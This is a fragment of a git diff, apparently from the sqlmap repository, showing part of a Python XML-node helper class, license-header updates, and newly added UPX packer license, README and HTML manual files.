tnode._value = val
|
||||
return
|
||||
|
||||
self.__dict__[attr] = val
|
||||
elif self._type in ['text', 'comment']:
|
||||
self._node.nodeValue = val
|
||||
else:
|
||||
# discern between attribute and child node
|
||||
if self._childrenByName.has_key(attr):
|
||||
raise Exception("Attribute Exists")
|
||||
self._node.setAttribute(attr, str(val))
|
||||
|
||||
def _keys(self):
|
||||
"""
|
||||
Return a list of attribute names
|
||||
"""
|
||||
return self._node.attributes.keys()
|
||||
|
||||
def _values(self):
|
||||
"""
|
||||
Returns a list of (attrname, attrval) tuples for this tag
|
||||
"""
|
||||
return [self._node.getAttribute(k) for k in self._node.attributes.keys()]
|
||||
|
||||
def _items(self):
|
||||
"""
|
||||
returns a list of attribute values for this tag
|
||||
"""
|
||||
return [(k, self._node.getAttribute(k)) for k in self._node.attributes.keys()]
|
||||
|
||||
def _has_key(self, k):
|
||||
"""
|
||||
returns True if this tag has an attribute of the given name
|
||||
"""
|
||||
return self._node.hasAttribute(k) or self._childrenByName.has_key(k)
|
||||
|
||||
def _get_name(self):
|
||||
if self._type == "node":
|
||||
return self._node.nodeName
|
||||
else:
|
||||
return self._type
|
||||
|
||||
def _get(self, k, default=None):
|
||||
"""
|
||||
returns the value of attribute k, or default if no such attribute
|
||||
"""
|
||||
if self._has_key(k):
|
||||
return getattr(self, k)
|
||||
else:
|
||||
return default
|
||||
|
||||
def __len__(self):
|
||||
"""
|
||||
returns number of child nodes
|
||||
"""
|
||||
return len(self._children)
|
||||
|
||||
def __getitem__(self, idx):
|
||||
"""
|
||||
if given key is numeric, return the nth child, otherwise
|
||||
try to return the child tag (or list of child tags) having
|
||||
the key as the tag name
|
||||
"""
|
||||
#print "__getitem__: idx=%s" % str(idx)
|
||||
|
||||
if isinstance(idx, slice) or isinstance(idx, int):
|
||||
return self._children[idx]
|
||||
elif isinstance(idx, str):
|
||||
return self._childrenByName[idx]
|
||||
else:
|
||||
raise IndexError(idx)
|
||||
|
||||
def __contains__(self, k):
|
||||
return self._has_key(k)
|
||||
|
||||
def _addNode(self, child):
|
||||
"""
|
||||
Tries to append a child node to the tree, and returns it
|
||||
|
||||
Value of 'child' must be one of:
|
||||
- a string (in which case it is taken to be the name
|
||||
of the new node's tag)
|
||||
- a dom object, in which case it will be wrapped and added
|
||||
- an XMLNode object, in which case it will be added without
|
||||
wrapping
|
||||
"""
|
||||
|
||||
if isinstance(child, XMLNode):
|
||||
|
||||
# add it to our children registry
|
||||
self._children.append(child)
|
||||
|
||||
parentDict = self._childrenByName
|
||||
nodeName = child._node.nodeName
|
||||
|
||||
if not parentDict.has_key(nodeName):
|
||||
parentDict[nodeName] = parent.__dict__[nodeName] = child
|
||||
else:
|
||||
if isinstance(parentDict[nodeName], XMLNode):
|
||||
# this is the second child node of a given tag name, so convert
|
||||
# the instance to a list
|
||||
parentDict[nodeName] = self.__dict__[nodeName] = [parentDict[nodeName]]
|
||||
parentDict[nodeName].append(child)
|
||||
|
||||
# and stick it in the dom
|
||||
self._node.appendChild(child._node)
|
||||
|
||||
return child
|
||||
|
||||
elif isinstance(child, str):
|
||||
childNode = self._root.dom.createElement(child)
|
||||
self._node.appendChild(childNode)
|
||||
|
||||
elif isinstance(child, xml.dom.minidom.Element):
|
||||
childNode = child
|
||||
child = childNode.nodeName
|
||||
self._node.appendChild(childNode)
|
||||
|
||||
|
||||
return XMLNode(self, childNode)
|
||||
|
||||
def _addText(self, value):
|
||||
"""
|
||||
Tries to append a child text node, with the given text, to the tree,
|
||||
and returns the created node object
|
||||
"""
|
||||
childNode = self._root.dom.createTextNode(value)
|
||||
self._node.appendChild(childNode)
|
||||
return XMLNode(self, childNode)
|
||||
|
||||
def _addComment(self, comment):
|
||||
"""
|
||||
Tries to append a child comment node (with the given text value)
|
||||
to the tree, and returns the create node object
|
||||
"""
|
||||
childNode = self._root.dom.createCommentNode(comment)
|
||||
self._node.appendChild(childNode)
|
||||
return XMLNode(self, childNode)
|
||||
|
||||
def _save(self, where=None):
|
||||
"""
|
||||
Generates well-formed XML from just this node, and saves it
|
||||
to a file.
|
||||
|
||||
Argument 'where' is either an open file object, or a pathname
|
||||
|
||||
If 'where' is not given, then saves the entire document tree.
|
||||
"""
|
||||
if not where:
|
||||
self._root.save()
|
||||
else:
|
||||
self._root.save(where, self._node)
|
||||
|
||||
def _toxml(self):
|
||||
"""
|
||||
renders just this node out to raw xml code
|
||||
"""
|
||||
return self._node.toxml()
|
||||
|
||||
def _treeWalker(self, node, nodes):
|
||||
for child in node._children:
|
||||
if child._type == 'node':
|
||||
nodes.append(child)
|
||||
self._treeWalker(child, nodes)
|
||||
|
||||
def _toflat(self):
|
||||
ret = [self]
|
||||
self._treeWalker(self, ret)
|
||||
return ret
|
||||
|
||||
_name = property(_get_name)
|
||||
@@ -3,23 +3,8 @@
|
||||
"""
|
||||
$Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
pass
|
||||
|
||||
@@ -1,25 +0,0 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
pass
|
||||
138
lib/contrib/upx/doc/LICENSE
Normal file
138
lib/contrib/upx/doc/LICENSE
Normal file
@@ -0,0 +1,138 @@
|
||||
-----BEGIN PGP SIGNED MESSAGE-----
|
||||
|
||||
|
||||
ooooo ooo ooooooooo. ooooooo ooooo
|
||||
`888' `8' `888 `Y88. `8888 d8'
|
||||
888 8 888 .d88' Y888..8P
|
||||
888 8 888ooo88P' `8888'
|
||||
888 8 888 .8PY888.
|
||||
`88. .8' 888 d8' `888b
|
||||
`YbodP' o888o o888o o88888o
|
||||
|
||||
|
||||
The Ultimate Packer for eXecutables
|
||||
Copyright (c) 1996-2000 Markus Oberhumer & Laszlo Molnar
|
||||
http://wildsau.idv.uni-linz.ac.at/mfx/upx.html
|
||||
http://www.nexus.hu/upx
|
||||
http://upx.tsx.org
|
||||
|
||||
|
||||
PLEASE CAREFULLY READ THIS LICENSE AGREEMENT, ESPECIALLY IF YOU PLAN
|
||||
TO MODIFY THE UPX SOURCE CODE OR USE A MODIFIED UPX VERSION.
|
||||
|
||||
|
||||
ABSTRACT
|
||||
========
|
||||
|
||||
UPX and UCL are copyrighted software distributed under the terms
|
||||
of the GNU General Public License (hereinafter the "GPL").
|
||||
|
||||
The stub which is imbedded in each UPX compressed program is part
|
||||
of UPX and UCL, and contains code that is under our copyright. The
|
||||
terms of the GNU General Public License still apply as compressing
|
||||
a program is a special form of linking with our stub.
|
||||
|
||||
As a special exception we grant the free usage of UPX for all
|
||||
executables, including commercial programs.
|
||||
See below for details and restrictions.
|
||||
|
||||
|
||||
COPYRIGHT
|
||||
=========
|
||||
|
||||
UPX and UCL are copyrighted software. All rights remain with the authors.
|
||||
|
||||
UPX is Copyright (C) 1996-2000 Markus Franz Xaver Johannes Oberhumer
|
||||
UPX is Copyright (C) 1996-2000 Laszlo Molnar
|
||||
|
||||
UCL is Copyright (C) 1996-2000 Markus Franz Xaver Johannes Oberhumer
|
||||
|
||||
|
||||
GNU GENERAL PUBLIC LICENSE
|
||||
==========================
|
||||
|
||||
UPX and the UCL library are free software; you can redistribute them
|
||||
and/or modify them under the terms of the GNU General Public License as
|
||||
published by the Free Software Foundation; either version 2 of
|
||||
the License, or (at your option) any later version.
|
||||
|
||||
UPX and UCL are distributed in the hope that they will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program; see the file COPYING.
|
||||
|
||||
|
||||
SPECIAL EXCEPTION FOR COMPRESSED EXECUTABLES
|
||||
============================================
|
||||
|
||||
The stub which is imbedded in each UPX compressed program is part
|
||||
of UPX and UCL, and contains code that is under our copyright. The
|
||||
terms of the GNU General Public License still apply as compressing
|
||||
a program is a special form of linking with our stub.
|
||||
|
||||
Hereby Markus F.X.J. Oberhumer and Laszlo Molnar grant you special
|
||||
permission to freely use and distribute all UPX compressed programs
|
||||
(including commercial ones), subject to the following restrictions:
|
||||
|
||||
1. You must compress your program with a completely unmodified UPX
|
||||
version; either with our precompiled version, or (at your option)
|
||||
with a self compiled version of the unmodified UPX sources as
|
||||
distributed by us.
|
||||
2. This also implies that the UPX stub must be completely unmodfied, i.e.
|
||||
the stub imbedded in your compressed program must be byte-identical
|
||||
to the stub that is produced by the official unmodified UPX version.
|
||||
3. The decompressor and any other code from the stub must exclusively get
|
||||
used by the unmodified UPX stub for decompressing your program at
|
||||
program startup. No portion of the stub may get read, copied,
|
||||
called or otherwise get used or accessed by your program.
|
||||
|
||||
|
||||
ANNOTATIONS
|
||||
===========
|
||||
|
||||
- You can use a modified UPX version or modified UPX stub only for
|
||||
programs that are compatible with the GNU General Public License.
|
||||
|
||||
- We grant you special permission to freely use and distribute all UPX
|
||||
compressed programs. But any modification of the UPX stub (such as,
|
||||
but not limited to, removing our copyright string or making your
|
||||
program non-decompressible) will immediately revoke your right to
|
||||
use and distribute a UPX compressed program.
|
||||
|
||||
- UPX is not a software protection tool; by requiring that you use
|
||||
the unmodified UPX version for your proprietary programs we
|
||||
make sure that any user can decompress your program. This protects
|
||||
both you and your users as nobody can hide malicious code -
|
||||
any program that cannot be decompressed is highly suspicious
|
||||
by definition.
|
||||
|
||||
- You can integrate all or part of UPX and UCL into projects that
|
||||
are compatible with the GNU GPL, but obviously you cannot grant
|
||||
any special exceptions beyond the GPL for our code in your project.
|
||||
|
||||
- We want to actively support manufacturers of virus scanners and
|
||||
similar security software. Please contact us if you would like to
|
||||
incorporate parts of UPX or UCL into such a product.
|
||||
|
||||
|
||||
|
||||
Markus F.X.J. Oberhumer Laszlo Molnar
|
||||
markus.oberhumer@jk.uni-linz.ac.at ml1050@cdata.tvnet.hu
|
||||
|
||||
Linz, Austria, 25 Feb 2000
|
||||
|
||||
|
||||
|
||||
-----BEGIN PGP SIGNATURE-----
|
||||
Version: 2.6.3ia
|
||||
Charset: noconv
|
||||
|
||||
iQCVAwUBOLaLS210fyLu8beJAQFYVAP/ShzENWKLTvedLCjZbDcwaBEHfUVcrGMI
|
||||
wE7frMkbWT2zmkdv9hW90WmjMhOBu7yhUplvN8BKOtLiolEnZmLCYu8AGCwr5wBf
|
||||
dfLoClxnzfTtgQv5axF1awp4RwCUH3hf4cDrOVqmAsWXKPHtm4hx96jF6L4oHhjx
|
||||
OO03+ojZdO8=
|
||||
=CS52
|
||||
-----END PGP SIGNATURE-----
|
||||
142
lib/contrib/upx/doc/README
Normal file
142
lib/contrib/upx/doc/README
Normal file
@@ -0,0 +1,142 @@
|
||||
ooooo ooo ooooooooo. ooooooo ooooo
|
||||
`888' `8' `888 `Y88. `8888 d8'
|
||||
888 8 888 .d88' Y888..8P
|
||||
888 8 888ooo88P' `8888'
|
||||
888 8 888 .8PY888.
|
||||
`88. .8' 888 d8' `888b
|
||||
`YbodP' o888o o888o o88888o
|
||||
|
||||
|
||||
The Ultimate Packer for eXecutables
|
||||
Copyright (c) 1996-2008 Markus Oberhumer, Laszlo Molnar & John Reiser
|
||||
http://upx.sourceforge.net
|
||||
|
||||
|
||||
|
||||
WELCOME
|
||||
=======
|
||||
|
||||
Welcome to UPX !
|
||||
|
||||
Please don't forget to read the file LICENSE - UPX is distributed
|
||||
under the GNU General Public License (GPL) with special exceptions
|
||||
allowing the distribution of all compressed executables, including
|
||||
commercial programs.
|
||||
|
||||
|
||||
INTRODUCTION
|
||||
============
|
||||
|
||||
UPX is an advanced executable file compressor. UPX will typically
|
||||
reduce the file size of programs and DLLs by around 50%-70%, thus
|
||||
reducing disk space, network load times, download times and
|
||||
other distribution and storage costs.
|
||||
|
||||
Programs and libraries compressed by UPX are completely self-contained
|
||||
and run exactly as before, with no runtime or memory penalty for most
|
||||
of the supported formats.
|
||||
|
||||
UPX supports a number of different executable formats, including
|
||||
Windows 95/98/ME/NT/2000/XP/CE programs and DLLs, DOS programs,
|
||||
and Linux executables and kernels.
|
||||
|
||||
UPX is free software distributed under the term of the GNU General
|
||||
Public License. Full source code is available.
|
||||
|
||||
UPX may be distributed and used freely, even with commercial applications.
|
||||
See the UPX License Agreement for details.
|
||||
|
||||
UPX is rated number one in the well known Archive Comparison Test. Visit
|
||||
http://compression.ca/ .
|
||||
|
||||
UPX aims to be Commercial Quality Freeware.
|
||||
|
||||
|
||||
SHORT DOCUMENTATION
|
||||
===================
|
||||
|
||||
'upx program.exe' will compress a program or DLL. For best compression
|
||||
results try 'upx --brute program.exe'.
|
||||
|
||||
Please see the file UPX.DOC for the full documentation. The files
|
||||
NEWS and BUGS also contain various tidbits of information.
|
||||
|
||||
|
||||
DISCLAIMER
|
||||
==========
|
||||
|
||||
UPX comes with ABSOLUTELY NO WARRANTY; for details see the file LICENSE.
|
||||
|
||||
Having said that, we think that UPX is quite stable now. Indeed we
|
||||
have compressed lots of files without any problems. Also, the
|
||||
current version has undergone several months of beta testing -
|
||||
actually it's almost 8 years since our first public beta.
|
||||
|
||||
This is the first production quality release, and we plan that future
|
||||
releases will be backward compatible with this version.
|
||||
|
||||
Please report all problems or suggestions to the authors. Thanks.
|
||||
|
||||
|
||||
THE FUTURE
|
||||
==========
|
||||
|
||||
- We'd really love to support handheld systems like the PalmPilot because
|
||||
compression makes a lot of sense here. And - because of the atari/tos
|
||||
format - we already have a working decompressor in 68000 assembly.
|
||||
Unfortunately we know next to nothing about the operating system
|
||||
architecture of such handhelds, so we need some information from
|
||||
an expert. Please contact us if you think you can help.
|
||||
|
||||
- The Linux approach could probably get ported to a lot of other Unix
|
||||
variants, at least for other i386 architectures it shouldn't be too
|
||||
much work. If someone sends me a fresh hard disk and an official
|
||||
FreeBSD/OpenBSD/NetBSD/Solaris/BeOS... CD I might take a look at it ;-)
|
||||
|
||||
- We will *NOT* add any sort of protection and/or encryption.
|
||||
This only gives people a false feeling of security because
|
||||
by definition all protectors/compressors can be broken.
|
||||
And don't trust any advertisement of authors of other executable
|
||||
compressors about this topic - just do a websearch on "unpackers"...
|
||||
|
||||
- Fix all remaining bugs - keep your reports coming ;-)
|
||||
|
||||
- See the file PROJECTS in the source code distribution if you want
|
||||
to contribute.
|
||||
|
||||
|
||||
COPYRIGHT
|
||||
=========
|
||||
|
||||
Copyright (C) 1996-2008 Markus Franz Xaver Johannes Oberhumer
|
||||
Copyright (C) 1996-2008 Laszlo Molnar
|
||||
Copyright (C) 2000-2008 John F. Reiser
|
||||
|
||||
This program may be used freely, and you are welcome to
|
||||
redistribute it under certain conditions.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
UPX License Agreement for more details.
|
||||
|
||||
You should have received a copy of the UPX License Agreement along
|
||||
with this program; see the file LICENSE. If not, visit the UPX home page.
|
||||
|
||||
|
||||
Share and enjoy,
|
||||
Markus & Laszlo
|
||||
|
||||
|
||||
Markus F.X.J. Oberhumer Laszlo Molnar
|
||||
<markus@oberhumer.com> <ml1050@users.sourceforge.net>
|
||||
|
||||
|
||||
|
||||
[ The term UPX is a shorthand for the Ultimate Packer for eXecutables
|
||||
and holds no connection with potential owners of registered trademarks
|
||||
or other rights. ]
|
||||
|
||||
[ Feel free to contact us if you have commercial compression requirements
|
||||
or interesting job offers. ]
|
||||
|
||||
888
lib/contrib/upx/doc/upx.html
Normal file
888
lib/contrib/upx/doc/upx.html
Normal file
@@ -0,0 +1,888 @@
|
||||
<?xml version="1.0" ?>
|
||||
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
|
||||
<html xmlns="http://www.w3.org/1999/xhtml">
|
||||
<head>
|
||||
<title>upx - compress or expand executable files</title>
|
||||
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
|
||||
<link rev="made" href="mailto:root@localhost" />
|
||||
</head>
|
||||
|
||||
<body style="background-color: white">
|
||||
|
||||
<p><a name="__index__"></a></p>
|
||||
<!-- INDEX BEGIN -->
|
||||
<!--
|
||||
|
||||
<ul>
|
||||
|
||||
<li><a href="#name">NAME</a></li>
|
||||
<li><a href="#synopsis">SYNOPSIS</a></li>
|
||||
<li><a href="#abstract">ABSTRACT</a></li>
|
||||
<li><a href="#disclaimer">DISCLAIMER</a></li>
|
||||
<li><a href="#description">DESCRIPTION</a></li>
|
||||
<li><a href="#commands">COMMANDS</a></li>
|
||||
<ul>
|
||||
|
||||
<li><a href="#compress">Compress</a></li>
|
||||
<li><a href="#decompress">Decompress</a></li>
|
||||
<li><a href="#test">Test</a></li>
|
||||
<li><a href="#list">List</a></li>
|
||||
</ul>
|
||||
|
||||
<li><a href="#options">OPTIONS</a></li>
|
||||
<li><a href="#compression_levels___tuning">COMPRESSION LEVELS & TUNING</a></li>
|
||||
<li><a href="#overlay_handling_options">OVERLAY HANDLING OPTIONS</a></li>
|
||||
<li><a href="#environment">ENVIRONMENT</a></li>
|
||||
<li><a href="#notes_for_the_supported_executable_formats">NOTES FOR THE SUPPORTED EXECUTABLE FORMATS</a></li>
|
||||
<ul>
|
||||
|
||||
<li><a href="#notes_for_atari_tos">NOTES FOR ATARI/TOS</a></li>
|
||||
<li><a href="#notes_for_bvmlinuz_i386">NOTES FOR BVMLINUZ/I386</a></li>
|
||||
<li><a href="#notes_for_dos_com">NOTES FOR DOS/COM</a></li>
|
||||
<li><a href="#notes_for_dos_exe">NOTES FOR DOS/EXE</a></li>
|
||||
<li><a href="#notes_for_dos_sys">NOTES FOR DOS/SYS</a></li>
|
||||
<li><a href="#notes_for_djgpp2_coff">NOTES FOR DJGPP2/COFF</a></li>
|
||||
<li><a href="#notes_for_linux__general_">NOTES FOR LINUX [general]</a></li>
|
||||
<li><a href="#notes_for_linux_elf386">NOTES FOR LINUX/ELF386</a></li>
|
||||
<li><a href="#notes_for_linux_sh386">NOTES FOR LINUX/SH386</a></li>
|
||||
<li><a href="#notes_for_linux_386">NOTES FOR LINUX/386</a></li>
|
||||
<li><a href="#notes_for_ps1_exe">NOTES FOR PS1/EXE</a></li>
|
||||
<li><a href="#notes_for_rtm32_pe_and_arm_pe">NOTES FOR RTM32/PE and ARM/PE</a></li>
|
||||
<li><a href="#notes_for_tmt_adam">NOTES FOR TMT/ADAM</a></li>
|
||||
<li><a href="#notes_for_vmlinuz_386">NOTES FOR VMLINUZ/386</a></li>
|
||||
<li><a href="#notes_for_watcom_le">NOTES FOR WATCOM/LE</a></li>
|
||||
<li><a href="#notes_for_win32_pe">NOTES FOR WIN32/PE</a></li>
|
||||
</ul>
|
||||
|
||||
<li><a href="#diagnostics">DIAGNOSTICS</a></li>
|
||||
<li><a href="#bugs">BUGS</a></li>
|
||||
<li><a href="#authors">AUTHORS</a></li>
|
||||
<li><a href="#copyright">COPYRIGHT</a></li>
|
||||
</ul>
|
||||
-->
|
||||
<!-- INDEX END -->
|
||||
|
||||
<p>
|
||||
</p>
|
||||
<h1><a name="name">NAME</a></h1>
|
||||
<p>upx - compress or expand executable files</p>
|
||||
<p>
|
||||
</p>
|
||||
<hr />
|
||||
<h1><a name="synopsis">SYNOPSIS</a></h1>
|
||||
<p><strong>upx</strong> [ <em>command</em> ] [ <em>options</em> ] <em>filename</em>...</p>
|
||||
<p>
|
||||
</p>
|
||||
<hr />
|
||||
<h1><a name="abstract">ABSTRACT</a></h1>
|
||||
<pre>
|
||||
The Ultimate Packer for eXecutables
|
||||
Copyright (c) 1996-2008 Markus Oberhumer, Laszlo Molnar & John Reiser
|
||||
<a href="http://upx.sourceforge.net">http://upx.sourceforge.net</a></pre>
|
||||
<p><strong>UPX</strong> is a portable, extendable, high-performance executable packer for
|
||||
several different executable formats. It achieves an excellent compression
|
||||
ratio and offers <em>*very*</em> fast decompression. Your executables suffer
|
||||
no memory overhead or other drawbacks for most of the formats supported,
|
||||
because of in-place decompression.</p>
|
||||
<p>While you may use <strong>UPX</strong> freely for both non-commercial and commercial
|
||||
executables (for details see the file LICENSE), we would highly
|
||||
appreciate if you credit <strong>UPX</strong> and ourselves in the documentation,
|
||||
possibly including a reference to the <strong>UPX</strong> home page. Thanks.</p>
|
||||
<p>[ Using <strong>UPX</strong> in non-OpenSource applications without proper credits
|
||||
is considered not politically correct ;-) ]</p>
|
||||
<p>
|
||||
</p>
|
||||
<hr />
|
||||
<h1><a name="disclaimer">DISCLAIMER</a></h1>
|
||||
<p><strong>UPX</strong> comes with ABSOLUTELY NO WARRANTY; for details see the file LICENSE.</p>
|
||||
<p>This is the first production quality release, and we plan that future 1.xx
|
||||
releases will be backward compatible with this version.</p>
|
||||
<p>Please report all problems or suggestions to the authors. Thanks.</p>
|
||||
<p>
|
||||
</p>
|
||||
<hr />
|
||||
<h1><a name="description">DESCRIPTION</a></h1>
|
||||
<p><strong>UPX</strong> is a versatile executable packer with the following features:</p>
|
||||
<pre>
|
||||
- excellent compression ratio: compresses better than zip/gzip,
|
||||
use UPX to decrease the size of your distribution !</pre>
|
||||
<pre>
|
||||
- very fast decompression: about 10 MiB/sec on an ancient Pentium 133,
|
||||
about 200 MiB/sec on an Athlon XP 2000+.</pre>
|
||||
<pre>
|
||||
- no memory overhead for your compressed executables for most of the
|
||||
supported formats</pre>
|
||||
<pre>
|
||||
- safe: you can list, test and unpack your executables
|
||||
Also, a checksum of both the compressed and uncompressed file is
|
||||
maintained internally.</pre>
|
||||
<pre>
|
||||
- universal: UPX can pack a number of executable formats:
|
||||
* atari/tos
|
||||
* bvmlinuz/386 [bootable Linux kernel]
|
||||
* djgpp2/coff
|
||||
* dos/com
|
||||
* dos/exe
|
||||
* dos/sys
|
||||
* linux/386
|
||||
* linux/elf386
|
||||
* linux/sh386
|
||||
* ps1/exe
|
||||
* rtm32/pe
|
||||
* tmt/adam
|
||||
* vmlinuz/386 [bootable Linux kernel]
|
||||
* vmlinux/386
|
||||
* watcom/le (supporting DOS4G, PMODE/W, DOS32a and CauseWay)
|
||||
* win32/pe (exe and dll)
|
||||
* arm/pe (exe and dll)
|
||||
* linux/elfamd64
|
||||
* linux/elfppc32
|
||||
* mach/elfppc32</pre>
|
||||
<pre>
|
||||
- portable: UPX is written in portable endian-neutral C++</pre>
|
||||
<pre>
|
||||
- extendable: because of the class layout it's very easy to support
|
||||
new executable formats or add new compression algorithms</pre>
|
||||
<pre>
|
||||
- free: UPX can be distributed and used freely. And from version 0.99
|
||||
the full source code of UPX is released under the GNU General Public
|
||||
License (GPL) !</pre>
|
||||
<p>You probably understand now why we call <strong>UPX</strong> the ``<em>ultimate</em>''
|
||||
executable packer.</p>
|
||||
<p>
|
||||
</p>
|
||||
<hr />
|
||||
<h1><a name="commands">COMMANDS</a></h1>
|
||||
<p>
|
||||
</p>
|
||||
<h2><a name="compress">Compress</a></h2>
|
||||
<p>This is the default operation, eg. <strong>upx yourfile.exe</strong> will compress the file
|
||||
specified on the command line.</p>
|
||||
<p>
|
||||
</p>
|
||||
<h2><a name="decompress">Decompress</a></h2>
|
||||
<p>All <strong>UPX</strong> supported file formats can be unpacked using the <strong>-d</strong> switch, eg.
|
||||
<strong>upx -d yourfile.exe</strong> will uncompress the file you've just compressed.</p>
|
||||
<p>
|
||||
</p>
|
||||
<h2><a name="test">Test</a></h2>
|
||||
<p>The <strong>-t</strong> command tests the integrity of the compressed and uncompressed
|
||||
data, eg. <strong>upx -t yourfile.exe</strong> check whether your file can be safely
|
||||
decompressed. Note, that this command doesn't check the whole file, only
|
||||
the part that will be uncompressed during program execution. This means
|
||||
that you should not use this command instead of a virus checker.</p>
|
||||
<p>
|
||||
</p>
|
||||
<h2><a name="list">List</a></h2>
|
||||
<p>The <strong>-l</strong> command prints out some information about the compressed files
|
||||
specified on the command line as parameters, eg <strong>upx -l yourfile.exe</strong>
|
||||
shows the compressed / uncompressed size and the compression ratio of
|
||||
<em>yourfile.exe</em>.</p>
|
||||
<p>
|
||||
</p>
|
||||
<hr />
|
||||
<h1><a name="options">OPTIONS</a></h1>
|
||||
<p><strong>-q</strong>: be quiet, suppress warnings</p>
|
||||
<p><strong>-q -q</strong> (or <strong>-qq</strong>): be very quiet, suppress errors</p>
|
||||
<p><strong>-q -q -q</strong> (or <strong>-qqq</strong>): produce no output at all</p>
|
||||
<p><strong>--help</strong>: prints the help</p>
|
||||
<p><strong>--version</strong>: print the version of <strong>UPX</strong></p>
|
||||
<p><strong>--exact</strong>: when compressing, require to be able to get a byte-identical file
|
||||
after decompression with option <strong>-d</strong>. [NOTE: this is work in progress and is
|
||||
not supported for all formats yet. If you do care, as a workaround you can
|
||||
compress and then decompress your program a first time - any further
|
||||
compress-decompress steps should then yield byte-identical results
|
||||
as compared to the first decompressed version.]</p>
|
||||
<p>[ ...to be written... - type `<strong>upx --help</strong>' for now ]</p>
|
||||
<p>
|
||||
</p>
|
||||
<hr />
|
||||
<h1><a name="compression_levels___tuning">COMPRESSION LEVELS & TUNING</a></h1>
|
||||
<p><strong>UPX</strong> offers ten different compression levels from <strong>-1</strong> to <strong>-9</strong>,
|
||||
and <strong>--best</strong>. The default compression level is <strong>-8</strong> for files
|
||||
smaller than 512 KiB, and <strong>-7</strong> otherwise.</p>
|
||||
<ul>
|
||||
<li>
|
||||
<p>Compression levels 1, 2 and 3 are pretty fast.</p>
|
||||
</li>
|
||||
<li>
|
||||
<p>Compression levels 4, 5 and 6 achieve a good time/ratio performance.</p>
|
||||
</li>
|
||||
<li>
|
||||
<p>Compression levels 7, 8 and 9 favor compression ratio over speed.</p>
|
||||
</li>
|
||||
<li>
|
||||
<p>Compression level <strong>--best</strong> may take a long time.</p>
|
||||
</li>
|
||||
</ul>
|
||||
<p>Note that compression level <strong>--best</strong> can be somewhat slow for large
|
||||
files, but you definitely should use it when releasing a final version
|
||||
of your program.</p>
|
||||
<p>Quick info for achieving the best compression ratio:</p>
|
||||
<ul>
|
||||
<li>
|
||||
<p>Try <strong>upx --brute myfile.exe</strong> or even <strong>upx --ultra-brute myfile.exe</strong>.</p>
|
||||
</li>
|
||||
<li>
|
||||
<p>Try if <strong>--overlay=strip</strong> works.</p>
|
||||
</li>
|
||||
<li>
|
||||
<p>For win32/pe programs there's <strong>--strip-relocs=0</strong>. See notes below.</p>
|
||||
</li>
|
||||
</ul>
|
||||
<p>
|
||||
</p>
|
||||
<hr />
|
||||
<h1><a name="overlay_handling_options">OVERLAY HANDLING OPTIONS</a></h1>
|
||||
<p>Info: An ``overlay'' means auxiliary data attached after the logical end of
|
||||
an executable, and it often contains application specific data
|
||||
(this is a common practice to avoid an extra data file, though
|
||||
it would be better to use resource sections).</p>
|
||||
<p><strong>UPX</strong> handles overlays like many other executable packers do: it simply
|
||||
copies the overlay after the compressed image. This works with some
|
||||
files, but doesn't work with others, depending on how an application
|
||||
actually accesses this overlayed data.</p>
|
||||
<pre>
|
||||
--overlay=copy Copy any extra data attached to the file. [DEFAULT]</pre>
|
||||
<pre>
|
||||
--overlay=strip Strip any overlay from the program instead of
|
||||
copying it. Be warned, this may make the compressed
|
||||
program crash or otherwise unusable.</pre>
|
||||
<pre>
|
||||
--overlay=skip Refuse to compress any program which has an overlay.</pre>
|
||||
<p>
|
||||
</p>
|
||||
<hr />
|
||||
<h1><a name="environment">ENVIRONMENT</a></h1>
|
||||
<p>The environment variable <strong>UPX</strong> can hold a set of default
|
||||
options for <strong>UPX</strong>. These options are interpreted first and
|
||||
can be overwritten by explicit command line parameters.
|
||||
For example:</p>
|
||||
<pre>
|
||||
for DOS/Windows: set UPX=-9 --compress-icons#0
|
||||
for sh/ksh/zsh: UPX="-9 --compress-icons=0"; export UPX
|
||||
for csh/tcsh: setenv UPX "-9 --compress-icons=0"</pre>
|
||||
<p>Under DOS/Windows you must use '#' instead of '=' when setting the
|
||||
environment variable because of a COMMAND.COM limitation.</p>
|
||||
